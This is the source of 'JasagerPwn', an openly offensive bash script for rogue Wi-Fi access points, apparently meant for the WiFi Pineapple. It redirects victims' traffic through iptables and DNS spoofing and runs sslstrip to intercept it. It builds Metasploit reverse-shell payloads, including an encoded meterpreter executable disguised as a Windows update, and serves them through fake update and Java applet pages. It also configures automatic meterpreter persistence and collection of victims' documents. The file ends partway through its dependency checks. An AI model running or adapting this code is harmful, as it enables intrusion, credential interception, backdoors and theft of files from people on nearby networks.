#!/bin/bash

#Leg3nd's JasagerPwn Attack - v1.4 - rev72
#ATTACKS - browserPwn - Redirect LAN to Metasloits auxillary module browser autoPwn for sessions
#	 - FakeUpdate - Redirect LAN to fake update page with metasploit/custom payload download or java applet page.
#	 - Java Applet - Redirects LAN to a java applet with meterpreter/shell/custom payload.
#	 - Sniffer - Justs picks up traffic with no ARP posioning, and perfect ssl stripping
#	 - DeAuth - Deauths nearby clients from their APs and try to make them join yours
#
# Allows control of internet transparency of all attacks via built in bash menu.
# Reqires: Aircrack-ng suite (w/ airdrop-ng), Metasploit Framework, Dsniff suite
#          Apache2, working ruby and python, Injection, DHCP3, SSLstrip, PHP5, Macchanger.
#
# Created for and tested with an RTL8187 monitor mode card, and a open-WRT Fon+ (Pineapple).
# For More Information refer to INSTALL_HOWTO, usage information -h / -?, or post on Hak5 Forums.

# Script Configuration and User Variables - Adjust this to your configuration.
gatewayIFACE="easytether0" #Interface connected to the internet (gateway) to share, EG wlan0,eth1,usb0,ppp0,easytether0,etc
fonIP="192.168.10.2"  #IP for ethernet interface facing the Fon, the dhcp.conf is below to change subnet.
fonEthernet="eth0" #Ethernet interface facing the Jasager/Fon router, EG eth0,eth1,eth2
wirelessAtkIFACE="wlan1" #Wireless Interface to attack with, EG wlan0,ath0,wifi0
monIFACE="mon0" #Monitor Interface for Attacks from airmon-ng
macMode="random" #Mac spoofing mode - set / random  (case sensitive) - Used for attack interfaces.
WiFiMODE="0" # Enable if your gateway interface is wireless, adds a deauth rule for yourself.
fakeMac="00:e0:f7:99:e1:30"  # Mac Address for "set" mode on attack interfaces
ourAPmac="00:12:CF:A4:92:B1"  #Pineapple MAC so we dont DeAuth Ourselves
MSFpath="/opt/framework/msf3"  #Metasploit Location - /opt/ will also work in BT5.
DomainName="Networking.com"  #Domain name for DHCP configuration.
extras="1" # Extra Programs, Includes URLSnarf, Dsniff, and DriftNET - Pineapple Mark3 has a lot of this already.
staticGateway="" # Set your gateway IP static if you have connection issues, default is blank.
######################################################################################################################
#Funcion can be used to customize post-exploit meterpreter script. This example steals documents and adds a DNS backdoor.
#This slightly modified persistence script supports D-DNS tracking (like dyndns.org or no-ip)
autoMetScript="0"  #Allows you to automaticlly run a meterpreter persistence script on the victim.
Pport="31337" # persistence backdoor port
PersIP="Your.dyndns.org" # Your dyndns or no-ip for backdoors
function metScript(){
  # Edit Auto Run Meterpreter Script here, Stay within the Echo Quotes.
  echo -e "persistence_dns -r $PersIP -p $Pport -i 60 -X -A
  file_collector -d c:\\Users\\ -r -f *.doc|*.pdf|*.xls|*.docx -o /tmp/files
  file_collector -i /tmp/files -l $PWD/collected/
  " > src/temp/automet.rc # Dont touch this line
}
#DHCP Configuration - Change if you want a different subnet.
echo -e "#jasagerPwn.dhcp
ddns-update-style none;
one-lease-per-client false;
authoritative;
ignore client-updates;
default-lease-time 60; # 24 hours=86400
max-lease-time 72;  # 48 hours=172800
log-facility local7;\n

subnet 192.168.10.0 netmask 255.255.255.0 {
	interface $fonEthernet;
	range 192.168.10.3 192.168.10.254;
	option routers $fonIP;
	option subnet-mask 255.255.255.0;
	option broadcast-address 192.168.10.255;
	option domain-name-servers $fonIP;
	option domain-name \"$DomainName\";
	allow unknown-clients;
}" > /etc/dhcp3/dhcpd.conf



####-END SCRIPT CONFIG-######
#====================================================================================================================
####################################################################################################################
#SCRIPT VARIABLES - DO NOT TOUCH - HARDCODED AND SENSITIVE - REQUIRED CHECKS FOR FUNCTIONALITY
version="1.4"
rev="72"
Jwww="/var/www/javapwn"
Gwww="/var/www/google"
Fwww="/var/www/fakeupdate"
if [ ! "$staticGateway" ] ;then
  gatewayIP=`route -n | grep $gatewayIFACE | awk '/^0.0.0.0/ {getline; print $2}'`   2> /dev/null
elif [ "$staticGateway" ]; then
  gatewayIP=`echo "$staticGateway"`
fi
WIFcheck=`ifconfig | grep $wirelessAtkIFACE | awk '{ print $1 }'` 2> /dev/null
IFcheck=`ifconfig | grep $gatewayIFACE | awk '{ print $1 }'`  2> /dev/null
NOW=$(date +"%b-%d_%H:%m:%S")
sslport="11000"
osxPORT="30505"
nixPORT="30504"
winPORT="30503"
javasite="1"
sniffing="0"
payloadsFinished="0"
wasSniffing="0"
fakeupdate="0"
browserpwn="0"
javaATK="0"
z="1"
customPayload="0"
moncheck=`ifconfig | grep $monIFACE | awk '{print $1}' | cut -b 4`
# ourIP=`ifconfig $fonEthernet | awk '/inet addr/ {split ($2,A,":"); print A[2]}'`
ourIP=`echo $fonIP`
wifiMAC=`ifconfig $gatewayIFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
googleRev=`wget -qO- "http://jasagerpwn.googlecode.com/svn/trunk/" | grep "<title>jasagerpwn - Revision" |  awk -F " " '{split ($4,A,":"); print A[1]}'`
echo "$fonIP" > /tmp/ipaddr.tmp #Store our IP to be pullsed for powershell alnum
echo "$fonEthernet" > /tmp/fonIFACE.tmp
trap 'cleanup' 2 # Interrupt - "Ctrl + C"

#-----------------------------------------------------------------------
function help() {
   echo "

      - Version $version - Revision $rev -
(C)opyright 2011 Leg3nd @ www.info-s3curity.com

 Usage: bash jasagerPwn -i [interface] -m [random/set] -s [00:11:22:33:44:55]
                        -p [31337]     -a [0/1]        -w [interface]

 Options:
   -e [0/1]             :  Use extra tools, URLSnarf, Dsniff, DriftNET. Current = $extras
   -a [0/1]             :  Auto-Run Meterpreter Script, Customize in script. Current = $autoMetScript
   -i [interface]	:  Internet Gateway Interface. Current = $gatewayIFACE
   -w [interface]	:  WiFi Card Interface. Current = $wirelessAtkIFACE
   -d [0/1]		:  WiFi Gateway Mode - Adds DeAuth Rule For Yourself. Current = $WiFiMODE
   -m [random/set]	:  Change the Attack Interfaces MAC Address. Current = $macMode
   -s [MAC]		:  Use this MAC Address. Requires -m. Current = $fakeMac
   -u			:  Update script and its resources from Google Code.
   -U			:  Update script and Metasploit.
   -? / -h		:  Help Screen and Switches. More Information In top of script.

 For Installation, setup, and more information, please reference the INSTALL file, wiki, or 
 Post on the hak5 forums.


"
   exit 1
}

function ipTables(){ #Normal Transparent AP
  xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -F ; iptables -X"
  for table in filter nat mangle ; do # delete the table's rules # delete the table's chains # zero the table's counters
    iptables -t $table -F ; iptables -t $table -X ; iptables -t $table -Z
  done
  sleep 1
  iptables -P FORWARD ACCEPT 2>/dev/null
  iptables --append FORWARD --in-interface $fonEthernet -j ACCEPT 2>/dev/null
  iptables --append FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT 2>/dev/null
  iptables --append FORWARD -i $fonEthernet -o $gatewayIFACE -m state --state NEW -j ACCEPT 2>/dev/null
  iptables --table nat --append PREROUTING --in-interface $fonEthernet -p udp --dport 53 -j DNAT --to $gatewayIP 2>/dev/null
  iptables --table nat --append POSTROUTING --out-interface $gatewayIFACE -j MASQUERADE 2>/dev/null
}

function ipTableRedirect { #Redirect clients to our server
  xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -X"
  xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -F"
  for table in filter nat mangle ; do # delete the table's rules # delete the table's chains # zero the table's counters
    iptables -t $table -F ; iptables -t $table -X ; iptables -t $table -Z
  done
  sleep 1
  if [ $sniffing -eq "1" ] ; then
    xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Tail" -e "kill $TAILPID" &
    xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing SSLStrip" -e "killall -9 sslstrip" &
    wasSniffing=$sniffing
    sniffing="0"
  fi

  #redirect all traffic to us
  iptables -A FORWARD -i $fonEthernet -j ACCEPT 2>/dev/null
  iptables -t nat -A PREROUTING -i $gatewayIFACE -p tcp -j DNAT --to-destination $fonIP 2>/dev/null
}

#Script update via google code
function update(){
  googleRev=`wget -qO- "http://jasagerpwn.googlecode.com/svn/trunk/" | grep "<title>jasagerpwn - Revision" |  awk -F " " '{split ($4,A,":"); print A[1]}'`
  if [ ! $googleRev ]; then
    echo -e "\e[01;31m[!]\e[00m ERROR: Couldn't resolve revision from google.."
    exit 1
  elif [ $googleRev -lt $rev ]; then
   echo -e "\e[01;31m[!]\e[00m UPDATE: JasagerPwn Revisions have been RESET, Please Re-Download It!"
   echo -e "\e[01;31m[!]\e[00m Command: svn checkout http://jasagerpwn.googlecode.com/svn/trunk/ jasager-pwn"
    exit 1
  elif [ $googleRev -gt $rev ]; then
    cd $PWD && svn up
  elif [ $googleRev -eq $rev ]; then
    echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$rev - Your Already Up To Date!"
  fi
  echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$googleRev - All Done!"
  exit 1
}

#Full update including MSF
function FullUpdate(){
  googleRev=`wget -qO- "http://jasagerpwn.googlecode.com/svn/trunk/" | grep "<title>jasagerpwn - Revision" |  awk -F " " '{split ($4,A,":"); print A[1]}'`
  echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$googleRev - Updating Metasploit.."
  xterm -fg green -bg black -geometry 75x20+0+0 -T "JasagerPwn v$version rev$googleRev - Metaploit Update"   -e "cd $MSFpath && ./msfupdate"
  if [ ! $googleRev ]; then
    echo -e "\e[01;31m[!]\e[00m ERROR: Couldn't resolve revision from google.."
    exit 1
  elif [ $googleRev -lt $rev ]; then
    echo -e "\e[01;31m[!]\e[00m ERROR: Your revision number is higher then it should be... "
    exit 1
  elif [ $googleRev -gt $rev ]; then
    echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$rev - Updating to rev$googleRev..."
      cd $PWD && svn up
  elif [ $googleRev -eq $rev ]; then
    echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$rev - Your Already Up To Date!"
  fi
  echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version rev$googleRev - All Done!"
  exit 1
}

function sslstrip(){
  iptables --table nat --append PREROUTING -p tcp --destination-port 80 --jump REDIRECT --to-ports $sslport 2>/dev/null
  sslCheck=`which sslstrip`
  if [ ! $sslCheck ]; then
     if [ -e "/pentest/web/sslstrip/sslstrip.py" ]; then chmod +x /pentest/web/sslstrip/sslstrip.py ; fi
     xterm -geometry 75x3+1-25 -bg black -fg green -e "cd /pentest/web/sslstrip/ && python sslstrip.py -l $sslport && sleep 3" &
  else
    xterm -geometry 75x3+1-25 -bg black -fg green -e "sslstrip -l $sslport && sleep 3" &
  fi
  if [ ! -e sslstrip.log ]; then touch sslstrip.log; fi
  xterm -geometry 76x21+463+451 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
  TAILPID=`echo $!`
  sniffing="1"
  wasSniffing=$sniffing
}

# Cleanup files and processes
function cleanup() {
  echo
  echo -e "\e[01;32m[>]\e[00m Cleaning up..."
    iptables -F 1> /dev/null 2> /dev/null ; iptables -X 1> /dev/null 2> /dev/null
    iptables -F -t nat 1> /dev/null 2> /dev/null ; iptables -X -t nat 1> /dev/null 2> /dev/null
    xterm -geometry 0x0+0+0 -T "JasagerPwn v$version - Killing Apache" -e "/etc/init.d/apache2 stop" &
    xterm -geometry 0x0+0+0 -T "JasagerPwn v$version - Killing PIDs" -e "kill $DNSID $messageID $dsniffID $TAILPID $AIRDROPID $AIRDUMPID $airID $ipID $dnsID2 $parseID" &
    xterm -geometry 0x0+0+0 -T "[JasagerPwn-BrowserPwn] v$version - Killing DHCP3" -e "/etc/init.d/dhcp3-server stop" &
    xterm -geometry 0x0+0+0 -T "[JasagerPwn-BrowserPwn] v$version - Killing URLSnarf" -e "killall -9 urlsnarf dsniff sslstrip driftnet" &
    xterm -geometry 0x0+0+0 -T "v$version - Killing 'NGREP Sniffer'" -e "kill -9 `ps aux | grep numsniffer.sh | grep -v grep | awk '{print $2}'` 1> /dev/null 2> /dev/null" &
    xterm -geometry 0x0+0+0 -T "v$version - Killing 'IPtables'" -e "iptables -F ; iptables -X" &
    if [ -e /tmp/dhcpd.conf ]; then rm -f /tmp/dhcpd.conf; fi 
    if [ -e "$PWD/dsniff.services" ]; then rm "$PWD/dsniff.services" ; fi
    if [ -e "$PWD/*.png" ]; then rm "$PWD/*.png" ; fi
    if [ -e "/etc/dhcp3/dhcpd.conf" ] && [  -e "/etc/dhcp3/dhcpd.conf.ORIGINAL" ] ; then rm /etc/dhcp3/dhcpd.conf && mv /etc/dhcp3/dhcpd.conf.ORIGINAL /etc/dhcp3/dhcpd.conf ; fi
    if [ -e "/etc/resolv.conf" ] && [  -e "/etc/resolv.conf.ORIGINAL" ] ; then rm /etc/resolv.conf && mv /etc/resolv.conf.ORIGINAL /etc/resolv.conf ; fi
    if [ -e "$PWD/src/wwwFakeUpdate/ubuntu/index.html" ] ; then rm -f $PWD/src/wwwFakeUpdate/ubuntu/index.html ; fi
    if [ -e "$PWD/src/wwwFakeUpdate/osx/index.html" ] ; then rm -f $PWD/src/wwwFakeUpdate/osx/index.html ; fi
    if [ -e "$PWD/src/wwwGoogle/index.html" ] ; then rm -f $PWD/src/wwwGoogle/index.html ; fi
    if [ -e "$PWD/src/wwwJava/index.html" ] ; then rm -f $PWD/src/wwwJava/index.html ; fi
    if [ -e "/tmp/msfrcBP" ]; then rm "/tmp/msfrcBP"; fi
    if [ -e "/tmp/msfrcATK" ]; then rm "/tmp/msfrcATK"; fi
    if [ -e "/tmp/jasagerpwn.dns" ]; then rm "/tmp/jasagerpwn.dns"; fi
    if [ -e "/tmp/deauth.conf" ]; then rm "/tmp/deauth.conf"; fi
    if [ -e "/tmp/ipaddr.tmp" ]; then rm "/tmp/ipaddr.tmp"; fi
    if [ -e "/tmp/fonIFACE.tmp" ]; then rm "/tmp/fonIFACE.tmp"; fi
    rm -f "$PWD/src/temp/*" 2> /dev/null 1> /dev/null
    if [ -e "$PWD/sslstrip.log" ]; then mv "$PWD/sslstrip.log" "$PWD/collected/$NOW-sslstrip.log"; fi
    xterm -geometry 0x0+0+0 -T "JasagerPwn v$version - Killing Self" -e "killall -9 jasagerPwn" &
  echo -e "\e[01;36m[~]\e[00m Exiting with elegance.."
  exit 0
}

function payloadGen(){
  echo -e "\e[01;33m[>]\e[00m Creating obfuscated payloads..."
  if [ -e "$PWD/src/wwwFakeUpdate/osx/index.html" ]; then rm -f "$PWD/src/wwwFakeUpdate/osx/index.html" ; fi
  if [ -e "$PWD/src/wwwFakeUpdate/ubuntu/index.html" ]; then rm -f "$PWD/src/wwwFakeUpdate/ubuntu/index.html" ; fi
  if [ -e "$PWD/src/wwwGoogle/index.html" ]; then rm -f "$PWD/src/wwwGoogle/index.html" ; fi
  if [ -e "$PWD/src/wwwJava/index.html" ]; then rm -f "$PWD/src/wwwJava/index.html" ; fi
  if [ -e "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" ]; then rm -f "$PWD/src/temp/Windows-KB183905-x86-ENU.exe"; fi
  if [ -e "$PWD/src/temp/osx.bin" ]; then rm -f "$PWD/src/temp/osx.bin"; fi
  if [ -e "$PWD/src/temp/nix.bin" ]; then rm -f "$PWD/src/temp/nix.bin"; fi
  
  # Windows Payload choice
  if [ $customPayload -eq "0" ]; then
    while [ ! -e "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" ]; do
      xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Windows)" -e "cd $PWD/src ; chmod +x cryptMeter.sh ; bash cryptMeter.sh"
    done    #xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Windows)" -e "msfpayload windows/meterpreter/reverse_tcp LHOST=$ourIP LPORT=$winPORT R | msfencode -x $PWD/src/resources/NOTEPAD.EXE -t exe -e x86/shikata_ga_nai -c 10 -o $PWD/src/temp/Windows-KB183905-x86-ENU.exe"
  elif [ $customPayload -eq "1" ] && [ "$WinEXEPayload" == "$WinEXEPayloadCheck" ]; then
      cp -f "$WinEXEPayload" "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" 1> /dev/null 2> /dev/null
  elif [ $customPayload -eq "1" ] && [ "$WinEXEPayload" != "$WinEXEPayloadCheck" ]; then
      echo -e "\e[01;31m[!]\e[00m Error: Your custom payload was not found... Using the default Windows meterpreter payload.."
      while [ ! -e "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" ]; do
	xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Windows)" -e "cd $PWD/src ; chmod +x cryptMeter.sh ; bash cryptMeter.sh"
      done       #xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Windows)" -e "msfpayload windows/meterpreter/reverse_tcp LHOST=$ourIP LPORT=$winPORT R | msfencode -x $PWD/src/resources/NOTEPAD.EXE -t exe -e x86/shikata_ga_nai -c 10 -o $PWD/src/temp/Windows-KB183905-x86-ENU.exe"      
  fi
  # Mac OSX Payload choice
  if [ $customPayload -eq "0" ]; then
      xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (OSX)" -e "msfpayload osx/x86/shell_reverse_tcp LPORT=$osxPORT LHOST=$ourIP X > $PWD/src/temp/osx.bin"
  elif [ $customPayload -eq "1" ] && [ "$OsxBINPayload" == "$OsxBINPayloadCheck" ]; then
      cp -f "$OsxBINPayload" "$PWD/src/temp/osx.bin" 1> /dev/null 2> /dev/null
  elif [ $customPayload -eq "1" ] && [ "$OsxBINPayload" != "$OsxBINPayloadCheck" ]; then
      echo -e "\e[01;31m[!]\e[00m Error: Your custom payload was not found... Using the default OSX shell payload.."
      xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (OSX)" -e "msfpayload osx/x86/shell_reverse_tcp LPORT=$osxPORT LHOST=$ourIP X > $PWD/src/temp/osx.bin"
  fi
  # Linux Payload choice
  if [ $customPayload -eq "0" ]; then
    xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Linux)" -e "msfpayload linux/x86/shell/reverse_tcp LPORT=$nixPORT LHOST=$ourIP X  > $PWD/src/temp/nix.bin"
  elif [ $customPayload -eq "1" ] && [ "$NixBINPayload" == "$NixBINPayloadCheck" ]; then
      cp -f "$NixBINPayload" "$PWD/src/temp/nix.bin" 1> /dev/null 2> /dev/null
  elif [ $customPayload -eq "1" ] && [ "$NixBINPayload" != "$NixBINPayloadCheck" ]; then
      echo -e "\e[01;31m[!]\e[00m Error: Your custom payload was not found... Using the default Linux shell payload.."
      xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Linux)" -e "msfpayload linux/x86/shell/reverse_tcp LPORT=$nixPORT LHOST=$ourIP X  > $PWD/src/temp/nix.bin"
  fi

  # Parse in powershell injection alnum shellcode into applet params
  echo -e "\e[01;33m[>]\e[00m Creating powershell alphanumeric payload to bypass AVs..."
  oldPWD=`echo $PWD`
  chmod +x $PWD/src/powershellPayload.py 2> /dev/null
  cd src/ ; python powershellPayload.py ; sleep .5; cd "$oldPWD"

  FUaddrLineOSX=`cat $PWD/src/wwwFakeUpdate/osx/index.html.ORIGINAL | grep -n "REPLACEMEAPPLET" | awk '{print $1}'`
  FUaddrLineNix=`cat $PWD/src/wwwFakeUpdate/ubuntu/index.html.ORIGINAL | grep -n "REPLACEMEAPPLET" | awk '{print $1}'`
  JAVAgoogle=`cat $PWD/src/wwwGoogle/index.html.ORIGINAL | grep -n "REPLACEMEAPPLET" | awk '{print $1}'`
  JAVAjava=`cat $PWD/src/wwwJava/index.html.ORIGINAL | grep -n "REPLACEMEAPPLET" | awk '{print $1}'`
  sed 's!REPLACEMEAPPLET!'$ourIP'!g' "src/wwwFakeUpdate/osx/index.html.ORIGINAL" > "src/wwwFakeUpdate/osx/index.html" 2> /dev/null
  sed 's!REPLACEMEAPPLET!'$ourIP'!g' "src/wwwFakeUpdate/ubuntu/index.html.ORIGINAL" >  "src/wwwFakeUpdate/ubuntu/index.html" 2> /dev/null
  sed -i 's!REPLACEMEAPPLET!'$ourIP'!g' "src/wwwGoogle/index.html" 2> /dev/null
  sed -i 's!REPLACEMEAPPLET!'$ourIP'!g' "src/wwwJava/index.html" 2> /dev/null
  #Copy over our web templates
  cp -rf $PWD/src/wwwGoogle/* $Gwww/ # google page
  cp -rf $PWD/src/wwwJava/* $Jwww/ # java required page
  cp -rf $PWD/src/wwwFakeUpdate/* $Fwww/ #FakeUpdate Page
  #Change ownership of web directories
  chown -R www-data:www-data /var/www/

  payloadsFinished="1"
}

# Fake Security Update for nix,osx,windows
function fakeupdate(){
  # Create our payloads if we havnt already
  if [ $payloadsFinished == "0" ] && [ $customPayload -eq "0" ]; then payloadGen ; fi
  sleep .5 ; cp -f "$PWD/src/temp/osx.bin" "$Fwww/osx/" ; cp -f "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" "$Fwww/ms/"  ; cp -f "$PWD/src/temp/nix.bin" "$Fwww/ubuntu/"
  # Start our metasploit handler
  sleep .5 && xterm -geometry 110x42+464-38 -bg black -fg green -T "[Metasploit Handler] v$version - Metasploit" -e "msfconsole -r /tmp/msfrcATK" &
  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "kill `ps aux | grep "ruby $MSFpath/msfconsole -r" | grep -v grep |awk '{print $2}'` `ps aux | grep "DNS Spoof" | grep -v grep |awk '{print $2}'`"
  sleep .5 && xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version - DNSSpoof" -e "$MSFpath/msfconsole -r /tmp/jasagerpwn.dns.RC" &
  sleep 20
  echo -e "\e[01;33m[>]\e[00m Starting Web Server @ $fonIP:80..."
  xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "/etc/init.d/apache2 restart"
  service apache2 restart > /dev/null # Bugs out in xterm sometimes
  sleep .5 ; xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite fakeupdate && a2enmod php5 && /etc/init.d/apache2 reload"
  echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
  ipTableRedirect
}

function javapwn(){
  # Create our payloads if we havnt already
  if [ $payloadsFinished == "0" ] && [ $customPayload -eq "0" ]; then payloadGen ; fi
  sleep .5
  # Start our metasploit handler
  sleep .5 && xterm -geometry 110x42+464-38 -bg black -fg green -T "[Metasploit Handler] v$version - Metasploit" -e "msfconsole -r /tmp/msfrcATK" &
  echo -e "\e[01;33m[>]\e[00m Starting Web Server @ $fonIP:80..."
  xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "/etc/init.d/apache2 restart"
  sleep 1 ; service apache2 restart > /dev/null # Bugs out in xterm sometimes
  if [ "$javasite" -eq "1" ]; then
    sleep .5 ; xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite google && a2enmod php5 && /etc/init.d/apache2 reload"
    cp -f "$PWD/src/temp/osx.bin" "$Gwww/" ; cp -f "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" "$Gwww/"  ; cp -f "$PWD/src/temp/nix.bin" "$Gwww/" 
  elif [ "$javasite" -eq "2" ]; then
    sleep .5 ; xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite javapwn && a2enmod php5 && /etc/init.d/apache2 reload"
    cp -f "$PWD/src/temp/osx.bin" "$Jwww/" ; cp -f "$PWD/src/temp/Windows-KB183905-x86-ENU.exe" "$Jwww/"  ; cp -f "$PWD/src/temp/nix.bin" "$Jwww/" 
  fi
  sleep 20
  echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "kill `ps aux | grep "ruby $MSFpath/msfconsole -r" | grep -v grep |awk '{print $2}'` `ps aux | grep "DNS Spoof" | grep -v grep |awk '{print $2}'`"
  sleep .5 && xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version - DNSSpoof" -e "$MSFpath/msfconsole -r /tmp/jasagerpwn.dns.RC" &
  ipTableRedirect
}

function attackLoop(){
  while true
  do
    if [ $browserpwn -eq 1 ]; then break; fi
    echo
    echo -e "\e[01;33m[MODE]~~~~~~~|JasagerPwn Attack|~~~~~~~][MODE]\e[00m"
    echo -e -n "\e[01;33m[!]\e[00m [S][1] to Stop Attack or [M][2] for Main Menu: "
    read -e USR_CHOICE96
    case $USR_CHOICE96 in
      S|s|Stop|stop|1)
	xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet"
	xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet --jump REDIRECT"
	xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet --proto tcp --jump DNAT --to $fonIP"
	ipTables
	xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "kill `ps aux | grep "ruby $MSFpath/msfconsole -r" | grep -v grep |awk '{print $2}'` `ps aux | grep "DNS Spoof" | grep -v grep |awk '{print $2}'`" &
	xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version" -e "/etc/init.d/apache2 stop" &
	fakeupdate="0"
	javaATK="0"
	if [ $wasSniffing != "0" ]; then sslstrip ; fi
	echo -e "\e[01;33m[!]\e[00m DONT FORGET TO RUN 'ipconfig /flushdns' ON VICTIM!!"
	break
      ;;
      M|m|Menu|menu|2)
	break
      ;;
      *) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
    esac
  done
}
#-----------------------------------------------------------------------
while getopts "a:i:w:m:s:e:d:h?uU" OPTIONS; do
  case ${OPTIONS} in
    a ) autoMetScript="$OPTARG" ;;
    d ) WiFiMODE="$OPTARG" ;;
    e ) extras="$OPTARG" ;;
    i ) gatewayIFACE="$OPTARG" ;;
    w ) wirelessAtkIFACE="$OPTARG" ;;
    h ) help ;;
    m ) macMode="$OPTARG" ;;
    s ) fakeMac="$OPTARG" ;;
    u ) update ;;
    U ) FullUpdate ;;
    ? ) help ;;
    * ) echo -e "\e[01;31m[!]\e[00m Error: Unknown Switch Option" 1>&2 ;; # Default
  esac
done

ifconfig $wirelessAtkIFACE up 2> /dev/null && sleep .5
if [ ! "$staticGateway" ] ;then
  gatewayIP=`route -n | grep $gatewayIFACE | awk '/^0.0.0.0/ {getline; print $2}'`
elif [ "$staticGateway" ]; then
  gatewayIP=`echo "$staticGateway"`
fi

kill `ps aux | grep dhclient | grep -v $gatewayIFACE | grep -v grep | awk '{print $2}'` 2> /dev/null
ifconfig $fonEthernet $fonIP netmask 255.255.255.0
# Ensure our IP does not change from the local DHCP
xterm -geometry 0x0+0+0 -bg black -fg green -T "JasagerPwn v$version - FonIP DHCP Avoidence'" -e "while true ; do ifconfig "$fonEthernet" "$fonIP" 1> /dev/null 2> /dev/null; done" &
ipID=`echo $!`

if [ ! "$staticGateway" ] ;then
  gatewayIP=`route -n | grep $gatewayIFACE | awk '/^0.0.0.0/ {getline; print $2}'`
elif [ "$staticGateway" ]; then
  gatewayIP=`echo "$staticGateway"`
fi

#check for required interfaces
WIFcheck=`ifconfig | grep $wirelessAtkIFACE | awk '{ print $1 }'`
IFcheck=`ifconfig | grep $gatewayIFACE | awk '{ print $1 }'`
if [ "$WIFcheck" != "$wirelessAtkIFACE" ]; then
  echo -e "\e[01;31m[!]\e[00m FATAL: Cannot Locate $wirelessAtkIFACE..." && cleanup
fi
if [ "$IFcheck" != "$gatewayIFACE" ]; then
  echo -e "\e[01;31m[!]\e[00m FATAL: Cannot Locate $gatewayIFACE..." && cleanup
fi

CurDirectory=`ls -a $PWD | grep jasagerPwn | grep -v \~`
if [ "$CurDirectory" != "jasagerPwn" ]; then 
    echo -e "\e[01;31m[!]\e[00m FATAL: You must run jasagerPwn from inside the directory..." && cleanup
fi

#----------------------------------------------------------------------------
#=========================-Begin STDOUT-=====================================
clear
echo ; echo
cat "$PWD/src/resources/banner" # Startup banner

echo ; echo -e "\e[01;32m[>]\e[00m Stopping services and programs..."
xterm -geometry 0x0+0+0 -bg black -fg green -T "JasagerPwn v$version - Killing 'DHCP3 Service'" -e "/etc/init.d/dhcp3-server stop"
xterm -geometry 0x0+0+0 -bg black -fg green -T "JasagerPwn v$version - Killing Sniffing Apps" -e "killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf" 
xterm -geometry 0x0+0+0 -bg black -fg green -T "JasagerPwn v$version - Killing Metasploit" -e "killall -9 ruby" &
#xterm -geometry 0x0+0+0 -bg black -fg green -T "JasagerPwn v$version - Killing WICD" -e "killall -9 wicd ; killall -9 wicd-client ; /etc/init.d/wicd stop"

echo -e "\e[01;32m[>]\e[00m Checking Environment..."
#Check for root
if [ "$(id -u)" != "0" ]; then echo -e "\e[01;31m[!]\e[00m FATAL: Not Root.." && cleanup ; fi
#Dependencies checks
dhcp3check=`dpkg -l | grep dhcp3-server | awk '{print $2}' | head -n 1`
apache2check=`dpkg -l | grep apache2 | awk '{print $2}' | head -n 1`
apache2phpcheck=`dpkg -l | grep "libapache2-mod-php5" | awk '{print $2}' | head -n 1`
